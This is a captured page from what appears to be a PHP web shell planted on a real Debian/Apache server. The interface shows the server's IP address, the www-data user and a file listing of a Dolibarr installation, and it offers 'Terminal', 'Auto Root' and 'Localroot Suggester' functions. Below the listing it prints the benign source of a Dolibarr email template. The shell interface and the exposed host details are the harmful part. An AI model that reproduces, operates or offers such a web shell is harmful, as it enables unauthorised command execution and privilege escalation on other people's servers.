Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.119
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
gmd.bdcloud.fr /
core /
tpl /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxr-xr-x
2025-11-08 11:16
README
123
B
-rw-r--r--
2022-09-27 16:06
admin_extrafields_add.tpl.php
14.79
KB
-rw-r--r--
2022-09-27 16:06
admin_extrafields_edit.tpl.php
17.82
KB
-rw-r--r--
2022-09-27 16:06
admin_extrafields_view.tpl.php
7.17
KB
-rw-r--r--
2022-09-27 16:06
advtarget.tpl.php
23.19
KB
-rw-r--r--
2022-09-27 16:06
ajaxrow.tpl.php
5.09
KB
-rw-r--r--
2022-09-27 16:06
bloc_comment.tpl.php
5.04
KB
-rw-r--r--
2022-09-27 16:06
bloc_showhide.tpl.php
3.16
KB
-rw-r--r--
2022-09-27 16:06
card_presend.tpl.php
11.18
KB
-rw-r--r--
2022-09-27 16:06
commonfields_add.tpl.php
3.37
KB
-rw-r--r--
2022-09-27 16:06
commonfields_edit.tpl.php
3.37
KB
-rw-r--r--
2022-09-27 16:06
commonfields_view.tpl.php
5.52
KB
-rw-r--r--
2022-09-27 16:06
contacts.tpl.php
13.14
KB
-rw-r--r--
2022-09-27 16:06
document_actions_post_headers.tpl.php
4.41
KB
-rw-r--r--
2022-09-27 16:06
error.tpl.php
779
B
-rw-r--r--
2022-09-27 16:06
extrafields_add.tpl.php
1.68
KB
-rw-r--r--
2022-09-27 16:06
extrafields_edit.tpl.php
1.61
KB
-rw-r--r--
2022-09-27 16:06
extrafields_list_array_fields.tpl.php
1.79
KB
-rw-r--r--
2022-09-27 16:06
extrafields_list_print_fields.tpl.php
3.37
KB
-rw-r--r--
2022-09-27 16:06
extrafields_list_search_input.tpl.php
2.94
KB
-rw-r--r--
2022-09-27 16:06
extrafields_list_search_param.tpl.php
1.86
KB
-rw-r--r--
2022-09-27 16:06
extrafields_list_search_sql.tpl.php
3.02
KB
-rw-r--r--
2022-09-27 16:06
extrafields_list_search_title.tpl.php
1.96
KB
-rw-r--r--
2022-09-27 16:06
extrafields_view.tpl.php
13.18
KB
-rw-r--r--
2022-09-27 16:06
filemanager.tpl.php
12.64
KB
-rw-r--r--
2022-09-27 16:06
footer.tpl.php
779
B
-rw-r--r--
2022-09-27 16:06
header.tpl.php
787
B
-rw-r--r--
2022-09-27 16:06
list_print_total.tpl.php
1.4
KB
-rw-r--r--
2022-09-27 16:06
login.tpl.php
15.77
KB
-rw-r--r--
2022-09-27 16:06
massactions_pre.tpl.php
10.24
KB
-rw-r--r--
2022-09-27 16:06
notes.tpl.php
6.55
KB
-rw-r--r--
2022-09-27 16:06
object_discounts.tpl.php
6.04
KB
-rw-r--r--
2022-09-27 16:06
objectline_create.tpl.php
43.52
KB
-rw-r--r--
2022-09-27 16:06
objectline_edit.tpl.php
21.47
KB
-rw-r--r--
2022-09-27 16:06
objectline_title.tpl.php
6.81
KB
-rw-r--r--
2022-11-03 11:53
objectline_view.tpl.php
20.25
KB
-rw-r--r--
2022-11-03 11:53
onlinepaymentlinks.tpl.php
7.89
KB
-rw-r--r--
2022-09-27 16:06
originproductline.tpl.php
2.18
KB
-rw-r--r--
2022-09-27 16:06
passwordforgotten.tpl.php
9.99
KB
-rw-r--r--
2022-09-27 16:06
resource_add.tpl.php
1.87
KB
-rw-r--r--
2022-09-27 16:06
resource_view.tpl.php
3.9
KB
-rw-r--r--
2022-09-27 16:06
Save
Rename
<?php /* Copyright (C) 2017-2018 Laurent Destailleur <eldy@users.sourceforge.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * or see https://www.gnu.org/ */ /* * Code to ouput content when action is presend * * $trackid must be defined * $modelmail * $defaulttopic * $diroutput * $arrayoffamiliestoexclude=array('system', 'mycompany', 'object', 'objectamount', 'date', 'user', ...); */ // Protection to avoid direct call of template if (empty($conf) || !is_object($conf)) { print "Error, template page can't be called as URL"; exit; } if ($action == 'presend') { $langs->load("mails"); $titreform = 'SendMail'; $object->fetch_projet(); if (!in_array($object->element, array('societe', 'user', 'member'))) { // TODO get also the main_lastdoc field of $object. If not found, try to guess with following code $ref = dol_sanitizeFileName($object->ref); include_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; // Special case if ($object->element == 'invoice_supplier') { $fileparams = dol_most_recent_file($diroutput.'/'.get_exdir($object->id, 2, 0, 0, $object, $object->element).$ref, preg_quote($ref, '/').'([^\-])+'); } else { $fileparams = dol_most_recent_file($diroutput.'/'.$ref, preg_quote($ref, '/').'[^\-]+'); } $file = $fileparams['fullname']; } // Define output language $outputlangs = $langs; $newlang = ''; if ($conf->global->MAIN_MULTILANGS && empty($newlang) && GETPOST('lang_id', 'aZ09')) { $newlang = GETPOST('lang_id', 'aZ09'); } if ($conf->global->MAIN_MULTILANGS && empty($newlang)) { $newlang = $object->thirdparty->default_lang; } if (!empty($newlang)) { $outputlangs = new Translate('', $conf); $outputlangs->setDefaultLang($newlang); // Load traductions files required by page $outputlangs->loadLangs(array('commercial', 'bills', 'orders', 'contracts', 'members', 'propal', 'products', 'supplier_proposal', 'interventions', 'receptions')); } $topicmail = ''; if (empty($object->ref_client)) { $topicmail = $outputlangs->trans($defaulttopic, '__REF__'); } elseif (!empty($object->ref_client)) { $topicmail = $outputlangs->trans($defaulttopic, '__REF__ (__REF_CLIENT__)'); } // Build document if it not exists $forcebuilddoc = true; if (in_array($object->element, array('societe', 'user', 'member'))) { $forcebuilddoc = false; } if ($object->element == 'invoice_supplier' && empty($conf->global->INVOICE_SUPPLIER_ADDON_PDF)) { $forcebuilddoc = false; } if ($forcebuilddoc) { // If there is no default value for supplier invoice, we do not generate file, even if modelpdf was set by a manual generation if ((!$file || !is_readable($file)) && method_exists($object, 'generateDocument')) { $result = $object->generateDocument(GETPOST('model') ? GETPOST('model') : $object->model_pdf, $outputlangs, $hidedetails, $hidedesc, $hideref); if ($result < 0) { dol_print_error($db, $object->error, $object->errors); exit(); } if ($object->element == 'invoice_supplier') { $fileparams = dol_most_recent_file($diroutput.'/'.get_exdir($object->id, 2, 0, 0, $object, $object->element).$ref, preg_quote($ref, '/').'([^\-])+'); } else { $fileparams = dol_most_recent_file($diroutput.'/'.$ref, preg_quote($ref, '/').'[^\-]+'); } $file = $fileparams['fullname']; } } print '<div id="formmailbeforetitle" name="formmailbeforetitle"></div>'; print '<div class="clearboth"></div>'; print '<br>'; print load_fiche_titre($langs->trans($titreform)); print dol_get_fiche_head(''); // Create form for email include_once DOL_DOCUMENT_ROOT.'/core/class/html.formmail.class.php'; $formmail = new FormMail($db); $formmail->param['langsmodels'] = (empty($newlang) ? $langs->defaultlang : $newlang); $formmail->fromtype = (GETPOST('fromtype') ?GETPOST('fromtype') : (!empty($conf->global->MAIN_MAIL_DEFAULT_FROMTYPE) ? $conf->global->MAIN_MAIL_DEFAULT_FROMTYPE : 'user')); if ($formmail->fromtype === 'user') { $formmail->fromid = $user->id; } if ($object->element === 'facture' && !empty($conf->global->INVOICE_EMAIL_SENDER)) { $formmail->frommail = $conf->global->INVOICE_EMAIL_SENDER; $formmail->fromname = ''; $formmail->fromtype = 'special'; } if ($object->element === 'shipping' && !empty($conf->global->SHIPPING_EMAIL_SENDER)) { $formmail->frommail = $conf->global->SHIPPING_EMAIL_SENDER; $formmail->fromname = ''; $formmail->fromtype = 'special'; } if ($object->element === 'commande' && !empty($conf->global->COMMANDE_EMAIL_SENDER)) { $formmail->frommail = $conf->global->COMMANDE_EMAIL_SENDER; $formmail->fromname = ''; $formmail->fromtype = 'special'; } if ($object->element === 'order_supplier' && !empty($conf->global->ORDER_SUPPLIER_EMAIL_SENDER)) { $formmail->frommail = $conf->global->ORDER_SUPPLIER_EMAIL_SENDER; $formmail->fromname = ''; $formmail->fromtype = 'special'; } $formmail->trackid = $trackid; $formmail->withfrom = 1; // Fill list of recipient with email inside <>. $liste = array(); if ($object->element == 'expensereport') { $fuser = new User($db); $fuser->fetch($object->fk_user_author); $liste['thirdparty'] = $fuser->getFullName($outputlangs)." <".$fuser->email.">"; } elseif ($object->element == 'partnership' && $conf->global->PARTNERSHIP_IS_MANAGED_FOR == 'member') { $fadherent = new Adherent($db); $fadherent->fetch($object->fk_member); $liste['member'] = $fadherent->getFullName($outputlangs)." <".$fadherent->email.">"; } elseif ($object->element == 'societe') { foreach ($object->thirdparty_and_contact_email_array(1) as $key => $value) { $liste[$key] = $value; } } elseif ($object->element == 'contact') { $liste['contact'] = $object->getFullName($outputlangs)." <".$object->email.">"; } elseif ($object->element == 'user' || $object->element == 'member') { $liste['thirdparty'] = $object->getFullName($outputlangs)." <".$object->email.">"; } else { if (!empty($object->socid) && $object->socid > 0 && !is_object($object->thirdparty) && method_exists($object, 'fetch_thirdparty')) { $object->fetch_thirdparty(); } if (is_object($object->thirdparty)) { foreach ($object->thirdparty->thirdparty_and_contact_email_array(1) as $key => $value) { $liste[$key] = $value; } } } if (!empty($conf->global->MAIN_MAIL_ENABLED_USER_DEST_SELECT)) { $listeuser = array(); $fuserdest = new User($db); $result = $fuserdest->fetchAll('ASC', 't.lastname', 0, 0, array('customsql'=>"t.statut=1 AND t.employee=1 AND t.email IS NOT NULL AND t.email <> ''"), 'AND', true); if ($result > 0 && is_array($fuserdest->users) && count($fuserdest->users) > 0) { foreach ($fuserdest->users as $uuserdest) { $listeuser[$uuserdest->id] = $uuserdest->user_get_property($uuserdest->id, 'email'); } } elseif ($result < 0) { setEventMessages(null, $fuserdest->errors, 'errors'); } if (count($listeuser) > 0) { $formmail->withtouser = $listeuser; $formmail->withtoccuser = $listeuser; } } $formmail->withto = $liste; $formmail->withtofree = (GETPOSTISSET('sendto') ? (GETPOST('sendto', 'alphawithlgt') ? GETPOST('sendto', 'alphawithlgt') : '1') : '1'); $formmail->withtocc = $liste; $formmail->withtoccc = getDolGlobalString('MAIN_EMAIL_USECCC'); $formmail->withtopic = $topicmail; $formmail->withfile = 2; $formmail->withbody = 1; $formmail->withdeliveryreceipt = 1; $formmail->withcancel = 1; //$arrayoffamiliestoexclude=array('system', 'mycompany', 'object', 'objectamount', 'date', 'user', ...); if (!isset($arrayoffamiliestoexclude)) { $arrayoffamiliestoexclude = null; } // Make substitution in email content if ($object) { $formmail->setSubstitFromObject($object, $langs); } $substitutionarray = getCommonSubstitutionArray($outputlangs, 0, $arrayoffamiliestoexclude, $object); $substitutionarray['__CHECK_READ__'] = (is_object($object) && is_object($object->thirdparty)) ? '<img src="'.DOL_MAIN_URL_ROOT.'/public/emailing/mailing-read.php?tag='.urlencode($object->thirdparty->tag).'&securitykey='.urlencode($conf->global->MAILING_EMAIL_UNSUBSCRIBE_KEY).'" width="1" height="1" style="width:1px;height:1px" border="0"/>' : ''; $substitutionarray['__PERSONALIZED__'] = ''; // deprecated $substitutionarray['__CONTACTCIVNAME__'] = ''; $parameters = array( 'mode' => 'formemail' ); complete_substitutions_array($substitutionarray, $outputlangs, $object, $parameters); // Find the good contact address $tmpobject = $object; if (($object->element == 'shipping' || $object->element == 'reception')) { $origin = $object->origin; $origin_id = $object->origin_id; if (!empty($origin) && !empty($origin_id)) { $element = $subelement = $origin; $regs = array(); if (preg_match('/^([^_]+)_([^_]+)/i', $origin, $regs)) { $element = $regs[1]; $subelement = $regs[2]; } // For compatibility if ($element == 'order') { $element = $subelement = 'commande'; } if ($element == 'propal') { $element = 'comm/propal'; $subelement = 'propal'; } if ($element == 'contract') { $element = $subelement = 'contrat'; } if ($element == 'inter') { $element = $subelement = 'ficheinter'; } if ($element == 'shipping') { $element = $subelement = 'expedition'; } if ($element == 'order_supplier') { $element = 'fourn'; $subelement = 'fournisseur.commande'; } if ($element == 'project') { $element = 'projet'; } dol_include_once('/'.$element.'/class/'.$subelement.'.class.php'); $classname = ucfirst($origin); $objectsrc = new $classname($db); $objectsrc->fetch($origin_id); $tmpobject = $objectsrc; } } $contactarr = array(); $contactarr = $tmpobject->liste_contact(-1, 'external'); if (is_array($contactarr) && count($contactarr) > 0) { require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; $contactstatic = new Contact($db); foreach ($contactarr as $contact) { $contactstatic->fetch($contact['id']); $substitutionarray['__CONTACT_NAME_'.$contact['code'].'__'] = $contactstatic->getFullName($outputlangs, 1); $substitutionarray['__CONTACT_LASTNAME_'.$contact['code'].'__'] = $contactstatic->lastname; $substitutionarray['__CONTACT_FIRSTNAME_'.$contact['code'].'__'] = $contactstatic->firstname; $substitutionarray['__CONTACT_TITLE_'.$contact['code'].'__'] = $contactstatic->getCivilityLabel(); } } // Array of substitutions $formmail->substit = $substitutionarray; // Array of other parameters $formmail->param['action'] = 'send'; $formmail->param['models'] = $modelmail; $formmail->param['models_id'] = GETPOST('modelmailselected', 'int'); $formmail->param['id'] = $object->id; $formmail->param['returnurl'] = $_SERVER["PHP_SELF"].'?id='.$object->id; $formmail->param['fileinit'] = array($file); // Show form print $formmail->get_form(); print dol_get_fiche_end(); }